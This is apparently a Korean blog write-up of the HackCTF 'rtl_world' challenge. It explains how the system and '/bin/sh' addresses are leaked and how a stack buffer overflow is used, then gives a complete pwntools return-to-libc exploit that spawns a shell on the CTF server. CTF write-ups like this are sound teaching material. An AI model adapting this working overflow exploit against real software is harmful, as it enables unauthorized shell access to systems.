dlsym 함수는 C 언어에서 사용하는 함수로, 위의 코드에서 system 함수의 주소(두 번째 인자를 이르으로 가지는 함수의 주소)를 라이브러리 handle(첫 번째 인자)에서 찾아서 v6 변수에 저장한다.
즉, system 함수의 주소는 v6에 저장되어있다.
또 아래의 for문은 초기에 “/bin/sh”를 찾기 위해 코딩해서 사용했었던 방법인데 system 함수 주소 처음부터 1씩 주소를 증가시키면서 s1의 값과 “/bin/sh”를 비교해서 같으면 for문을 멈춘다. 따라서 s1에는 “/bin/sh” 주소가 저장된다.
RTL = &system + 4 byte dummy + &”/bin/sh”
만 있으면 return address에 system addr를 넣고 RTL을 전달하면 system(“/bin/sh”)를 실행해서 쉘이 실행될 수 있으므로
실행 시 system 함수 주소, “/bin/sh” 주소를 알아야 한다.
# process
1. system 주소 leak
#2에서 3번 메뉴 2번으로 gold를 모은다.
#3에서 system addr를 leak 한다.
2. “/bin/sh” 주소 leak
gold가 모자르므로 2999까지 모으기 위해 #2의 3번 메뉴를 6번 선택.
Gold가 모아지면 #4에서 “/bin/sh” 주소 leak
3. RTL attack
#5에서 buf의 크기는 0x8c인데 0x400만큼 입력받을 수 있어서 overflow 취약점 존재.
Return address를 덮을 수 있음
payload
= buf(0x8c) + SFP(4) + RET(4)
= ‘A’*0x8c + ‘B’*4 + &system + ‘C’*4 + &”/bin/sh”
# exploit code
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
#p = process("./rtl_world")
p = remote("ctf.j0n9hyun.xyz", 3010)
def gold():
p.sendlineafter(">>> ", '2')
p.sendlineafter("(Job)>>> ", '3')
gold()
gold()
p.sendlineafter(">>> ", '3')
p.recvuntil("System Armor : ")
system = int(p.recv(10), 16)
log.info("system addr : "+hex(system))
for i in range(6):
gold()
p.sendlineafter(">>> ", '4')
p.recvuntil("Shell Sword : ")
binsh = int(p.recv(10), 16)
log.info("binsh addr : "+hex(binsh))
p.sendlineafter(">>> ", '5')
pay = 'A'*0x8c + 'B'*4 + p32(system) + 'C'*4 + p32(binsh)
p.sendlineafter("[Attack] > ", pay)
p.interactive()
# exploit
[HackCTF] g++pwn (0) | 2020.01.08 |
---|---|
[HackCTF] poet (0) | 2020.01.08 |
[HackCTF] BOF_PIE (0) | 2020.01.01 |
[HackCTF] offset (0) | 2020.01.01 |
[HackCTF] Simple_Overflow_ver_2 (0) | 2020.01.01 |